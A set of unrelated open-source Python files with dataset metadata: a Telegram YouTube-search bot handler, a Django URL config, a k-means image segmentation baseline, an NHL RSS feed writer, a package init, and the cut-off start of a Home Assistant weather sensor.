plugins/inline.py

OxyNotOp/OxyPlayer

6747e1a20ad2c1ef54d461505a4f61a1e9f00e85

[ "MIT" ]

null

plugins/inline.py

OxyNotOp/OxyPlayer

6747e1a20ad2c1ef54d461505a4f61a1e9f00e85

[ "MIT" ]

null

plugins/inline.py

OxyNotOp/OxyPlayer

6747e1a20ad2c1ef54d461505a4f61a1e9f00e85

[ "MIT" ]

null

#MIT License #Copyright (c) 2021 OXYOP #Permission is hereby granted, free of charge, to any person obtaining a copy #of this software and associated documentation files (the "Software"), to deal #in the Software without restriction, including without limitation the rights #to use, copy, modify, merge, publish, distribute, sublicense, and/or sell #copies of the Software, and to permit persons to whom the Software is #furnished to do so, subject to the following conditions: #The above copyright notice and this permission notice shall be included in all #copies or substantial portions of the Software. #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, #FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, #OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE #SOFTWARE. from pyrogram.handlers import InlineQueryHandler from youtubesearchpython import VideosSearch from utils import USERNAME from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup from pyrogram import Client, errors from config import Config REPLY_MESSAGE=Config.REPLY_MESSAGE buttons = [ [ InlineKeyboardButton('⚡️Make Own Bot', url='https://heroku.com/deploy?template=https://github.com/OxyNotOp/OxyPlayer'), InlineKeyboardButton('🧩 Source Code', url='https://github.com/OxyNotOp/OxyPlayer'), ], [ InlineKeyboardButton('🎧Play Music', url=f'https://t.me/{USERNAME}'), InlineKeyboardButton('👨🏼‍🦯 Help', callback_data='help') ] ] @Client.on_inline_query() async def search(client, query): answers = [] if query.query == "ORU_MANDAN_PM_VANNU": answers.append( InlineQueryResultArticle( title="Deploy", input_message_content=InputTextMessageContent(f"{REPLY_MESSAGE}\n\nYou can't use this bot in your group, for that you have to make your own bot from the [SOURCE CODE](https://github.com/OxyNotOp/OxyPlayer) below.", disable_web_page_preview=True), reply_markup=InlineKeyboardMarkup(buttons) ) ) await query.answer(results=answers, cache_time=0) return string = query.query.lower().strip().rstrip() if string == "": await client.answer_inline_query( query.id, results=answers, switch_pm_text=("Search a youtube video"), switch_pm_parameter="help", cache_time=0 ) else: videosSearch = VideosSearch(string.lower(), limit=50) for v in videosSearch.result()["result"]: answers.append( InlineQueryResultArticle( title=v["title"], description=("Duration: {} Views: {}").format( v["duration"], v["viewCount"]["short"] ), input_message_content=InputTextMessageContent( "/play https://www.youtube.com/watch?v={}".format( v["id"] ) ), thumb_url=v["thumbnails"][0]["url"] ) ) try: await query.answer( results=answers, cache_time=0 ) except errors.QueryIdInvalid: await query.answer( results=answers, cache_time=0, switch_pm_text=("Nothing found"), switch_pm_parameter="", ) __handlers__ = [ [ InlineQueryHandler( search ) ] ]

39.42

269

0.624556

from pyrogram.handlers import InlineQueryHandler from youtubesearchpython import VideosSearch from utils import USERNAME from pyrogram.types import InlineQueryResultArticle, InputTextMessageContent, InlineKeyboardButton, InlineKeyboardMarkup from pyrogram import Client, errors from config import Config REPLY_MESSAGE=Config.REPLY_MESSAGE buttons = [ [ InlineKeyboardButton('⚡️Make Own Bot', url='https://heroku.com/deploy?template=https://github.com/OxyNotOp/OxyPlayer'), InlineKeyboardButton('🧩 Source Code', url='https://github.com/OxyNotOp/OxyPlayer'), ], [ InlineKeyboardButton('🎧Play Music', url=f'https://t.me/{USERNAME}'), InlineKeyboardButton('👨🏼‍🦯 Help', callback_data='help') ] ] @Client.on_inline_query() async def search(client, query): answers = [] if query.query == "ORU_MANDAN_PM_VANNU": answers.append( InlineQueryResultArticle( title="Deploy", input_message_content=InputTextMessageContent(f"{REPLY_MESSAGE}\n\nYou can't use this bot in your group, for that you have to make your own bot from the [SOURCE CODE](https://github.com/OxyNotOp/OxyPlayer) below.", disable_web_page_preview=True), reply_markup=InlineKeyboardMarkup(buttons) ) ) await query.answer(results=answers, cache_time=0) return string = query.query.lower().strip().rstrip() if string == "": await client.answer_inline_query( query.id, results=answers, switch_pm_text=("Search a youtube video"), switch_pm_parameter="help", cache_time=0 ) else: videosSearch = VideosSearch(string.lower(), limit=50) for v in videosSearch.result()["result"]: answers.append( InlineQueryResultArticle( title=v["title"], description=("Duration: {} Views: {}").format( v["duration"], v["viewCount"]["short"] ), input_message_content=InputTextMessageContent( "/play https://www.youtube.com/watch?v={}".format( v["id"] ) ), thumb_url=v["thumbnails"][0]["url"] ) ) try: await query.answer( results=answers, cache_time=0 ) except errors.QueryIdInvalid: await query.answer( results=answers, cache_time=0, switch_pm_text=("Nothing found"), switch_pm_parameter="", ) __handlers__ = [ [ InlineQueryHandler( search ) ] ]

true

790b2cc52380b3a8bf9200492b36ecac98c8f1d1

232

py

Python

project/apps/portfolio/urls.py

mahdimehrabi/django-portfolio-app

987bbfe6dce151f1b32e69ee833b71db636e933f

[ "MIT" ]

4

2021-08-11T15:23:32.000Z

2021-12-31T02:55:33.000Z

project/apps/portfolio/urls.py

mahdimehrabi/django-portfolio-app

987bbfe6dce151f1b32e69ee833b71db636e933f

[ "MIT" ]

null

project/apps/portfolio/urls.py

mahdimehrabi/django-portfolio-app

987bbfe6dce151f1b32e69ee833b71db636e933f

[ "MIT" ]

null

from django.urls import path from .views import Index, language_switch app_name = 'portfolio' urlpatterns = [ path('', Index.as_view(), name='index'), path('switch-lang/<str:lang>/', language_switch, name='switch-lang'), ]

25.777778

73

0.698276

from django.urls import path from .views import Index, language_switch app_name = 'portfolio' urlpatterns = [ path('', Index.as_view(), name='index'), path('switch-lang/<str:lang>/', language_switch, name='switch-lang'), ]

true

790b2ce856eb1abe3a674d8d4c7412b9a9543a94

11,132

py

Python

src/scripts/segmentation/baselines/kmeans_and_sift.py

THinnerichs/MiS-Information-Clustering

597c70e1283222e0e841e24f6805b967aaf3c9e0

[ "MIT" ]

null

src/scripts/segmentation/baselines/kmeans_and_sift.py

THinnerichs/MiS-Information-Clustering

597c70e1283222e0e841e24f6805b967aaf3c9e0

[ "MIT" ]

null

src/scripts/segmentation/baselines/kmeans_and_sift.py

THinnerichs/MiS-Information-Clustering

597c70e1283222e0e841e24f6805b967aaf3c9e0

[ "MIT" ]

null

from __future__ import print_function import argparse import os import pickle import sys import cv2 import numpy as np import torch import vlfeat # calls constructor from sklearn.cluster import MiniBatchKMeans from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \ _acc from src.utils.segmentation.data import make_Coco_dataloaders, \ make_Potsdam_dataloaders SIFT_DLEN = 128 SIFT_STEP = 10 def _get_vectorised_sift_samples(archetype_config, dataloader): # returns num unmasked pixels x SIFT_DLEN, in uint8 format # operates on greyscale 128 bit images num_batches, batch_sz = len(dataloader), archetype_config.dataloader_batch_sz num_imgs_max = num_batches * batch_sz # estimate img_sz = archetype_config.input_sz # cluster individual (box central) pixels desc_side = int(img_sz / SIFT_STEP) print("img sz %d, desc_side %d" % (img_sz, desc_side)) sys.stdout.flush() descs_all = np.zeros((num_imgs_max, desc_side * desc_side, SIFT_DLEN), dtype=np.uint8) masks_all = np.zeros((num_imgs_max, desc_side * desc_side), dtype=np.bool) labels_all = None actual_num_imgs = 0 # when descriptor matrix flattened, goes along rows first (rows change slow) central_inds_h = (np.arange(desc_side) * SIFT_STEP + (SIFT_STEP / 2)).reshape((desc_side, 1)).repeat(desc_side, axis=1) central_inds_w = (np.arange(desc_side) * SIFT_STEP + (SIFT_STEP / 2)).reshape((1, desc_side)).repeat(desc_side, axis=0) central_inds_h, central_inds_w = central_inds_h.reshape(-1), \ central_inds_w.reshape(-1) for b_i, batch in enumerate(dataloader): if len(batch) == 3: # test dataloader store_labels = True if (labels_all is None): labels_all = np.zeros((num_imgs_max, desc_side * desc_side), dtype=np.int32) imgs, labels, masks = batch labels = labels.cpu().numpy().astype(np.int32) else: # training dataloader store_labels = False imgs, _, _, masks = batch # imgs currently channel first, [0-1] range, floats imgs = (imgs * 255.).permute(0, 2, 3, 1).cpu().numpy().astype(np.uint8) masks = masks.cpu().numpy().astype(np.bool) curr_batch_sz, h, w, c = imgs.shape assert (h == archetype_config.input_sz and w == archetype_config.input_sz and c == archetype_config.in_channels) if b_i < num_batches - 1: assert (batch_sz == curr_batch_sz) start = b_i * batch_sz for i in range(curr_batch_sz): grey_img = cv2.cvtColor(imgs[i, :, :, :], cv2.COLOR_RGB2GRAY) locs, descs = vlfeat.vl_dsift(grey_img, step=SIFT_STEP) descs = descs.transpose((1, 0)) # 40*40, 128 descs = descs.reshape(-1, SIFT_DLEN) # rows change slowest # get the corresponding box central mask/label mask = masks[i][central_inds_h, central_inds_w] offset = start + i descs_all[offset, :, :] = descs masks_all[offset, :] = mask if store_labels: label = labels[i][central_inds_h, central_inds_w] labels_all[offset, :] = label actual_num_imgs += curr_batch_sz descs_all = descs_all[:actual_num_imgs, :, :] masks_all = masks_all[:actual_num_imgs, :] num_unmasked = masks_all.sum() if store_labels: labels_all = labels_all[:actual_num_imgs, :] samples_labels = labels_all[masks_all].reshape(-1) assert (samples_labels.shape[0] == num_unmasked) samples = descs_all[masks_all, :].reshape(-1, SIFT_DLEN) assert (samples.shape[0] == num_unmasked) if not store_labels: return samples else: return samples, samples_labels def _get_vectorised_colour_samples(archetype_config, dataloader): num_batches, batch_sz = len(dataloader), archetype_config.dataloader_batch_sz num_imgs_max = num_batches * batch_sz # estimate img_sz = archetype_config.input_sz # cluster individual pixels imgs_all = np.zeros( (num_imgs_max, img_sz, img_sz, archetype_config.in_channels), dtype=np.uint8) masks_all = np.zeros((num_imgs_max, img_sz, img_sz), dtype=np.bool) labels_all = None actual_num_imgs = 0 for b_i, batch in enumerate(dataloader): if len(batch) == 3: store_labels = True if (labels_all is None): labels_all = np.zeros((num_imgs_max, img_sz, img_sz), dtype=np.int32) imgs, labels, masks = batch labels = labels.cpu().numpy().astype(np.int32) else: store_labels = False imgs, _, _, masks = batch # channels last imgs = (imgs * 255.).permute(0, 2, 3, 1).cpu().numpy().astype(np.uint8) masks = masks.cpu().numpy().astype(np.bool) curr_batch_sz, h, w, c = imgs.shape assert (h == archetype_config.input_sz and w == archetype_config.input_sz and c == archetype_config.in_channels) if b_i < num_batches - 1: assert (batch_sz == curr_batch_sz) start = b_i * batch_sz imgs_all[start:(start + curr_batch_sz), :, :, :] = imgs masks_all[start:(start + curr_batch_sz), :, :] = masks if store_labels: labels_all[start:(start + curr_batch_sz), :, :] = labels actual_num_imgs += curr_batch_sz imgs_all = imgs_all[:actual_num_imgs, :, :, :] masks_all = masks_all[:actual_num_imgs, :, :] num_unmasked = masks_all.sum() if store_labels: labels_all = labels_all[:actual_num_imgs, :, :] samples_labels = labels_all[masks_all].reshape(-1) assert (samples_labels.shape[0] == num_unmasked) samples = imgs_all[masks_all, :].reshape(-1, archetype_config.in_channels) assert (samples.shape[0] == num_unmasked) if not store_labels: return samples else: return samples, samples_labels def main(): # based on segmentation_multioutput_twohead - we pass in the config of the # IID run we are comparing against, so the settings can be copied parser = argparse.ArgumentParser() parser.add_argument("--model_ind", type=int, required=True) parser.add_argument("--out_root", type=str, default="/scratch/shared/slow/xuji/iid_private") parser.add_argument("--IID_model_ind", type=int, required=True) parser.add_argument("--max_num_train", type=int, required=True) parser.add_argument("--test_code", default=False, action="store_true") parser.add_argument("--do_sift", default=False, action="store_true") config = parser.parse_args() config.out_dir = os.path.join(config.out_root, str(config.model_ind)) if not os.path.exists(config.out_dir): os.makedirs(config.out_dir) archetype_config_path = os.path.join(config.out_root, str(config.IID_model_ind), "config.pickle") print("Loading archetype config from: %s" % archetype_config_path) with open(archetype_config_path, "rb") as config_f: archetype_config = pickle.load(config_f) assert (config.IID_model_ind == archetype_config.model_ind) assert (archetype_config.mode == "IID") # compare against fully unsup sample_fn = _get_vectorised_colour_samples if config.do_sift: sample_fn = _get_vectorised_sift_samples # set it to be only rgb (and ir if nec) but no sobel - we're clustering # single pixel colours archetype_config.include_rgb = True archetype_config.no_sobel = True if "Coco" in archetype_config.dataset: assert (not archetype_config.using_IR) archetype_config.in_channels = 3 elif archetype_config.dataset == "Potsdam": # IR assert (archetype_config.using_IR) archetype_config.in_channels = 4 # Data # ------------------------------------------------------------------------- if "Coco" in archetype_config.dataset: dataloaders_head_A, mapping_assignment_dataloader, \ mapping_test_dataloader = \ make_Coco_dataloaders(archetype_config) elif archetype_config.dataset == "Potsdam": dataloaders_head_A, mapping_assignment_dataloader, \ mapping_test_dataloader = \ make_Potsdam_dataloaders(archetype_config) else: raise NotImplementedError # unlike in clustering script for STL - isn't any data from unknown classes dataloaders_head_B = dataloaders_head_A # networks and optimisers # ------------------------------------------------------ assert (archetype_config.num_dataloaders == 1) dataloader = dataloaders_head_B[0] samples = sample_fn(archetype_config, dataloader) print("got training samples") sys.stdout.flush() if config.test_code: print("testing code, taking 10000 samples only") samples = samples[:10000, :] else: num_samples_train = min(samples.shape[0], config.max_num_train) print("taking %d samples" % num_samples_train) chosen_inds = np.random.choice(samples.shape[0], size=num_samples_train, replace=False) samples = samples[chosen_inds, :] print(samples.shape) sys.stdout.flush() kmeans = MiniBatchKMeans(n_clusters=archetype_config.gt_k, verbose=1).fit( samples) print("trained kmeans") sys.stdout.flush() # use mapping assign to assign output_k=gt_k to gt_k # and also assess on its predictions, since it's identical to # mapping_test_dataloader assign_samples, assign_labels = sample_fn(archetype_config, mapping_assignment_dataloader) num_samples = assign_samples.shape[0] assign_preds = kmeans.predict(assign_samples) print("finished prediction for mapping assign/test data") sys.stdout.flush() assign_preds = torch.from_numpy(assign_preds).cuda() assign_labels = torch.from_numpy(assign_labels).cuda() if archetype_config.eval_mode == "hung": match = _hungarian_match(assign_preds, assign_labels, preds_k=archetype_config.gt_k, targets_k=archetype_config.gt_k) elif archetype_config.eval_mode == "orig": # flat! match = _original_match(assign_preds, assign_labels, preds_k=archetype_config.gt_k, targets_k=archetype_config.gt_k) elif archetype_config.eval_mode == "orig_soft": assert (False) # not used # reorder predictions to be same cluster assignments as gt_k found = torch.zeros(archetype_config.gt_k) reordered_preds = torch.zeros(num_samples).to(torch.int32).cuda() for pred_i, target_i in match: reordered_preds[assign_preds == pred_i] = target_i found[pred_i] = 1 assert (found.sum() == archetype_config.gt_k) # each output_k must get mapped acc = _acc(reordered_preds, assign_labels, archetype_config.gt_k) print("got acc %f" % acc) config.epoch_acc = [acc] config.centroids = kmeans.cluster_centers_ config.match = match # write results and centroids to model_ind output file with open(os.path.join(config.out_dir, "config.pickle"), "w") as outfile: pickle.dump(config, outfile) with open(os.path.join(config.out_dir, "config.txt"), "w") as text_file: text_file.write("%s" % config) if __name__ == "__main__": main()

36.618421

80

0.676967

from __future__ import print_function import argparse import os import pickle import sys import cv2 import numpy as np import torch import vlfeat from sklearn.cluster import MiniBatchKMeans from src.utils.cluster.eval_metrics import _hungarian_match, _original_match, \ _acc from src.utils.segmentation.data import make_Coco_dataloaders, \ make_Potsdam_dataloaders SIFT_DLEN = 128 SIFT_STEP = 10 def _get_vectorised_sift_samples(archetype_config, dataloader): num_batches, batch_sz = len(dataloader), archetype_config.dataloader_batch_sz num_imgs_max = num_batches * batch_sz img_sz = archetype_config.input_sz desc_side = int(img_sz / SIFT_STEP) print("img sz %d, desc_side %d" % (img_sz, desc_side)) sys.stdout.flush() descs_all = np.zeros((num_imgs_max, desc_side * desc_side, SIFT_DLEN), dtype=np.uint8) masks_all = np.zeros((num_imgs_max, desc_side * desc_side), dtype=np.bool) labels_all = None actual_num_imgs = 0 central_inds_h = (np.arange(desc_side) * SIFT_STEP + (SIFT_STEP / 2)).reshape((desc_side, 1)).repeat(desc_side, axis=1) central_inds_w = (np.arange(desc_side) * SIFT_STEP + (SIFT_STEP / 2)).reshape((1, desc_side)).repeat(desc_side, axis=0) central_inds_h, central_inds_w = central_inds_h.reshape(-1), \ central_inds_w.reshape(-1) for b_i, batch in enumerate(dataloader): if len(batch) == 3: store_labels = True if (labels_all is None): labels_all = np.zeros((num_imgs_max, desc_side * desc_side), dtype=np.int32) imgs, labels, masks = batch labels = labels.cpu().numpy().astype(np.int32) else: store_labels = False imgs, _, _, masks = batch imgs = (imgs * 255.).permute(0, 2, 3, 1).cpu().numpy().astype(np.uint8) masks = masks.cpu().numpy().astype(np.bool) curr_batch_sz, h, w, c = imgs.shape assert (h == archetype_config.input_sz and w == archetype_config.input_sz and c == archetype_config.in_channels) if b_i < num_batches - 1: assert (batch_sz == curr_batch_sz) start = b_i * batch_sz for i in range(curr_batch_sz): grey_img = cv2.cvtColor(imgs[i, :, :, :], cv2.COLOR_RGB2GRAY) locs, descs = vlfeat.vl_dsift(grey_img, step=SIFT_STEP) descs = descs.transpose((1, 0)) descs = descs.reshape(-1, SIFT_DLEN) mask = masks[i][central_inds_h, central_inds_w] offset = start + i descs_all[offset, :, :] = descs masks_all[offset, :] = mask if store_labels: label = labels[i][central_inds_h, central_inds_w] labels_all[offset, :] = label actual_num_imgs += curr_batch_sz descs_all = descs_all[:actual_num_imgs, :, :] masks_all = masks_all[:actual_num_imgs, :] num_unmasked = masks_all.sum() if store_labels: labels_all = labels_all[:actual_num_imgs, :] samples_labels = labels_all[masks_all].reshape(-1) assert (samples_labels.shape[0] == num_unmasked) samples = descs_all[masks_all, :].reshape(-1, SIFT_DLEN) assert (samples.shape[0] == num_unmasked) if not store_labels: return samples else: return samples, samples_labels def _get_vectorised_colour_samples(archetype_config, dataloader): num_batches, batch_sz = len(dataloader), archetype_config.dataloader_batch_sz num_imgs_max = num_batches * batch_sz img_sz = archetype_config.input_sz imgs_all = np.zeros( (num_imgs_max, img_sz, img_sz, archetype_config.in_channels), dtype=np.uint8) masks_all = np.zeros((num_imgs_max, img_sz, img_sz), dtype=np.bool) labels_all = None actual_num_imgs = 0 for b_i, batch in enumerate(dataloader): if len(batch) == 3: store_labels = True if (labels_all is None): labels_all = np.zeros((num_imgs_max, img_sz, img_sz), dtype=np.int32) imgs, labels, masks = batch labels = labels.cpu().numpy().astype(np.int32) else: store_labels = False imgs, _, _, masks = batch imgs = (imgs * 255.).permute(0, 2, 3, 1).cpu().numpy().astype(np.uint8) masks = masks.cpu().numpy().astype(np.bool) curr_batch_sz, h, w, c = imgs.shape assert (h == archetype_config.input_sz and w == archetype_config.input_sz and c == archetype_config.in_channels) if b_i < num_batches - 1: assert (batch_sz == curr_batch_sz) start = b_i * batch_sz imgs_all[start:(start + curr_batch_sz), :, :, :] = imgs masks_all[start:(start + curr_batch_sz), :, :] = masks if store_labels: labels_all[start:(start + curr_batch_sz), :, :] = labels actual_num_imgs += curr_batch_sz imgs_all = imgs_all[:actual_num_imgs, :, :, :] masks_all = masks_all[:actual_num_imgs, :, :] num_unmasked = masks_all.sum() if store_labels: labels_all = labels_all[:actual_num_imgs, :, :] samples_labels = labels_all[masks_all].reshape(-1) assert (samples_labels.shape[0] == num_unmasked) samples = imgs_all[masks_all, :].reshape(-1, archetype_config.in_channels) assert (samples.shape[0] == num_unmasked) if not store_labels: return samples else: return samples, samples_labels def main(): parser = argparse.ArgumentParser() parser.add_argument("--model_ind", type=int, required=True) parser.add_argument("--out_root", type=str, default="/scratch/shared/slow/xuji/iid_private") parser.add_argument("--IID_model_ind", type=int, required=True) parser.add_argument("--max_num_train", type=int, required=True) parser.add_argument("--test_code", default=False, action="store_true") parser.add_argument("--do_sift", default=False, action="store_true") config = parser.parse_args() config.out_dir = os.path.join(config.out_root, str(config.model_ind)) if not os.path.exists(config.out_dir): os.makedirs(config.out_dir) archetype_config_path = os.path.join(config.out_root, str(config.IID_model_ind), "config.pickle") print("Loading archetype config from: %s" % archetype_config_path) with open(archetype_config_path, "rb") as config_f: archetype_config = pickle.load(config_f) assert (config.IID_model_ind == archetype_config.model_ind) assert (archetype_config.mode == "IID") sample_fn = _get_vectorised_colour_samples if config.do_sift: sample_fn = _get_vectorised_sift_samples # single pixel colours archetype_config.include_rgb = True archetype_config.no_sobel = True if "Coco" in archetype_config.dataset: assert (not archetype_config.using_IR) archetype_config.in_channels = 3 elif archetype_config.dataset == "Potsdam": # IR assert (archetype_config.using_IR) archetype_config.in_channels = 4 # Data # ------------------------------------------------------------------------- if "Coco" in archetype_config.dataset: dataloaders_head_A, mapping_assignment_dataloader, \ mapping_test_dataloader = \ make_Coco_dataloaders(archetype_config) elif archetype_config.dataset == "Potsdam": dataloaders_head_A, mapping_assignment_dataloader, \ mapping_test_dataloader = \ make_Potsdam_dataloaders(archetype_config) else: raise NotImplementedError # unlike in clustering script for STL - isn't any data from unknown classes dataloaders_head_B = dataloaders_head_A assert (archetype_config.num_dataloaders == 1) dataloader = dataloaders_head_B[0] samples = sample_fn(archetype_config, dataloader) print("got training samples") sys.stdout.flush() if config.test_code: print("testing code, taking 10000 samples only") samples = samples[:10000, :] else: num_samples_train = min(samples.shape[0], config.max_num_train) print("taking %d samples" % num_samples_train) chosen_inds = np.random.choice(samples.shape[0], size=num_samples_train, replace=False) samples = samples[chosen_inds, :] print(samples.shape) sys.stdout.flush() kmeans = MiniBatchKMeans(n_clusters=archetype_config.gt_k, verbose=1).fit( samples) print("trained kmeans") sys.stdout.flush() # mapping_test_dataloader assign_samples, assign_labels = sample_fn(archetype_config, mapping_assignment_dataloader) num_samples = assign_samples.shape[0] assign_preds = kmeans.predict(assign_samples) print("finished prediction for mapping assign/test data") sys.stdout.flush() assign_preds = torch.from_numpy(assign_preds).cuda() assign_labels = torch.from_numpy(assign_labels).cuda() if archetype_config.eval_mode == "hung": match = _hungarian_match(assign_preds, assign_labels, preds_k=archetype_config.gt_k, targets_k=archetype_config.gt_k) elif archetype_config.eval_mode == "orig": # flat! match = _original_match(assign_preds, assign_labels, preds_k=archetype_config.gt_k, targets_k=archetype_config.gt_k) elif archetype_config.eval_mode == "orig_soft": assert (False) # not used # reorder predictions to be same cluster assignments as gt_k found = torch.zeros(archetype_config.gt_k) reordered_preds = torch.zeros(num_samples).to(torch.int32).cuda() for pred_i, target_i in match: reordered_preds[assign_preds == pred_i] = target_i found[pred_i] = 1 assert (found.sum() == archetype_config.gt_k) # each output_k must get mapped acc = _acc(reordered_preds, assign_labels, archetype_config.gt_k) print("got acc %f" % acc) config.epoch_acc = [acc] config.centroids = kmeans.cluster_centers_ config.match = match # write results and centroids to model_ind output file with open(os.path.join(config.out_dir, "config.pickle"), "w") as outfile: pickle.dump(config, outfile) with open(os.path.join(config.out_dir, "config.txt"), "w") as text_file: text_file.write("%s" % config) if __name__ == "__main__": main()

true

790b2d371432522b12c630954ab58dc667368862

1,496

py

Python

markup.py

ak212/python-hockey-rss

60dc71168db53dee0eaf2bf02a40a73f5e3527db

[ "MIT" ]

1

2015-12-22T18:37:45.000Z

markup.py

ak212/python-hockey-rss

60dc71168db53dee0eaf2bf02a40a73f5e3527db

[ "MIT" ]

null

markup.py

ak212/python-hockey-rss

60dc71168db53dee0eaf2bf02a40a73f5e3527db

[ "MIT" ]

null

import os __author__ = "Aaron Koeppel" __version__ = 1.0 def xmlMarkup(games, team_ab, team_name, team_record): '''Markup the RSS feed using the data obtained. :param games: list of games that the team played this season :type games: list of GameData :param team_ab: the team's abbreviated name :type team_ab: string :param team_name: the team's name :type team_name: string''' file_name = team_ab + "_feed.xml" '''Used code from http://stackoverflow.com/questions/7935972/ writing-to-a-new-directory-in-python-without-changing-directory''' script_dir = os.path.dirname(os.path.abspath(__file__)) dest_dir = os.path.join(script_dir, "feeds", team_ab) try: os.makedirs(dest_dir) except OSError: pass path = os.path.join(dest_dir, file_name) with open(path, 'w') as xml: xml.write('<?xml version="1.0" encoding="UTF-8" ?>\n') xml.write("<rss version='2.0'>\n") xml.write("<channel>\n") xml.write("<title>%s - %s</title>\n" % (team_name, team_record)) xml.write("<description>Latest %s scores</description>\n" % team_name) xml.write("<link>http://espn.go.com/nhl/team/schedule/_/name/%s</link>\n" % team_ab) for game in games: xml.write("<item>\n") xml.write("<title>%s</title>\n" % game.headline) xml.write("<link>%s</link>\n" % game.link) xml.write("</item>\n") xml.write("</channel>\n</rss>") xml.close()

32.521739

79

0.625

import os __author__ = "Aaron Koeppel" __version__ = 1.0 def xmlMarkup(games, team_ab, team_name, team_record): file_name = team_ab + "_feed.xml" script_dir = os.path.dirname(os.path.abspath(__file__)) dest_dir = os.path.join(script_dir, "feeds", team_ab) try: os.makedirs(dest_dir) except OSError: pass path = os.path.join(dest_dir, file_name) with open(path, 'w') as xml: xml.write('<?xml version="1.0" encoding="UTF-8" ?>\n') xml.write("<rss version='2.0'>\n") xml.write("<channel>\n") xml.write("<title>%s - %s</title>\n" % (team_name, team_record)) xml.write("<description>Latest %s scores</description>\n" % team_name) xml.write("<link>http://espn.go.com/nhl/team/schedule/_/name/%s</link>\n" % team_ab) for game in games: xml.write("<item>\n") xml.write("<title>%s</title>\n" % game.headline) xml.write("<link>%s</link>\n" % game.link) xml.write("</item>\n") xml.write("</channel>\n</rss>") xml.close()

true

790b2d4cde58cc65a51793d21e5e265754f9f859

140

py

Python

bactopia/__init__.py

bactopia/bactopia-ap

f87c55f3c9f8c7aca230d7a6146db078acd6d141

[ "MIT" ]

null

bactopia/__init__.py

bactopia/bactopia-ap

f87c55f3c9f8c7aca230d7a6146db078acd6d141

[ "MIT" ]

9

2019-05-20T17:05:09.000Z

2019-08-29T12:59:57.000Z

bactopia/__init__.py

bactopia/bactopia-ap

f87c55f3c9f8c7aca230d7a6146db078acd6d141

[ "MIT" ]

null

"""Top-level package for Bactopia.""" __version__ = '2.1.0' __all__ = [ 'const', 'parse', 'summary' ] from bactopia import *

11.666667

37

0.585714

__version__ = '2.1.0' __all__ = [ 'const', 'parse', 'summary' ] from bactopia import *

true

790b2ddc74fef2c4be27a4d6c1b24dcbd933e151

11,621

py

Python

homeassistant/components/bom/sensor.py

alemuro/home-assistant

9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90

[ "Apache-2.0" ]

2

2019-10-19T15:07:32.000Z

2022-01-29T10:33:20.000Z

homeassistant/components/bom/sensor.py

alemuro/home-assistant

9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90

[ "Apache-2.0" ]

4

2021-02-08T21:05:14.000Z

2021-09-08T02:57:03.000Z

homeassistant/components/bom/sensor.py

alemuro/home-assistant

9b1315d8e55f0ca906c4c8a1b2ae8c2ea511dc90

[ "Apache-2.0" ]

2

2019-01-21T05:49:23.000Z

2019-02-19T16:30:48.000Z

"""Support for Australian BOM (Bureau of Meteorology) weather service.""" import datetime import ftplib import gzip import io import json import logging import os import re import zipfile import requests import voluptuous as vol import homeassistant.helpers.config_validation as cv from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import ( CONF_MONITORED_CONDITIONS, TEMP_CELSIUS, CONF_NAME, ATTR_ATTRIBUTION, CONF_LATITUDE, CONF_LONGITUDE, ) from homeassistant.helpers.entity import Entity from homeassistant.util import Throttle _RESOURCE = "http://www.bom.gov.au/fwo/{}/{}.{}.json" _LOGGER = logging.getLogger(__name__) ATTR_LAST_UPDATE = "last_update" ATTR_SENSOR_ID = "sensor_id" ATTR_STATION_ID = "station_id" ATTR_STATION_NAME = "station_name" ATTR_ZONE_ID = "zone_id" ATTRIBUTION = "Data provided by the Australian Bureau of Meteorology" CONF_STATION = "station" CONF_ZONE_ID = "zone_id" CONF_WMO_ID = "wmo_id" MIN_TIME_BETWEEN_UPDATES = datetime.timedelta(seconds=60) SENSOR_TYPES = { "wmo": ["wmo", None], "name": ["Station Name", None], "history_product": ["Zone", None], "local_date_time": ["Local Time", None], "local_date_time_full": ["Local Time Full", None], "aifstime_utc": ["UTC Time Full", None], "lat": ["Lat", None], "lon": ["Long", None], "apparent_t": ["Feels Like C", TEMP_CELSIUS], "cloud": ["Cloud", None], "cloud_base_m": ["Cloud Base", None], "cloud_oktas": ["Cloud Oktas", None], "cloud_type_id": ["Cloud Type ID", None], "cloud_type": ["Cloud Type", None], "delta_t": ["Delta Temp C", TEMP_CELSIUS], "gust_kmh": ["Wind Gust kmh", "km/h"], "gust_kt": ["Wind Gust kt", "kt"], "air_temp": ["Air Temp C", TEMP_CELSIUS], "dewpt": ["Dew Point C", TEMP_CELSIUS], "press": ["Pressure mb", "mbar"], "press_qnh": ["Pressure qnh", "qnh"], "press_msl": ["Pressure msl", "msl"], "press_tend": ["Pressure Tend", None], "rain_trace": ["Rain Today", "mm"], "rel_hum": ["Relative Humidity", "%"], "sea_state": ["Sea State", None], "swell_dir_worded": ["Swell Direction", None], "swell_height": ["Swell Height", "m"], "swell_period": ["Swell Period", None], "vis_km": ["Visability km", "km"], "weather": ["Weather", None], "wind_dir": ["Wind Direction", None], "wind_spd_kmh": ["Wind Speed kmh", "km/h"], "wind_spd_kt": ["Wind Speed kt", "kt"], } def validate_station(station): """Check that the station ID is well-formed.""" if station is None: return station = station.replace(".shtml", "") if not re.fullmatch(r"ID[A-Z]\d\d\d\d\d\.\d\d\d\d\d", station): raise vol.error.Invalid("Malformed station ID") return station PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Inclusive(CONF_ZONE_ID, "Deprecated partial station ID"): cv.string, vol.Inclusive(CONF_WMO_ID, "Deprecated partial station ID"): cv.string, vol.Optional(CONF_NAME): cv.string, vol.Optional(CONF_STATION): validate_station, vol.Required(CONF_MONITORED_CONDITIONS, default=[]): vol.All( cv.ensure_list, [vol.In(SENSOR_TYPES)] ), } ) def 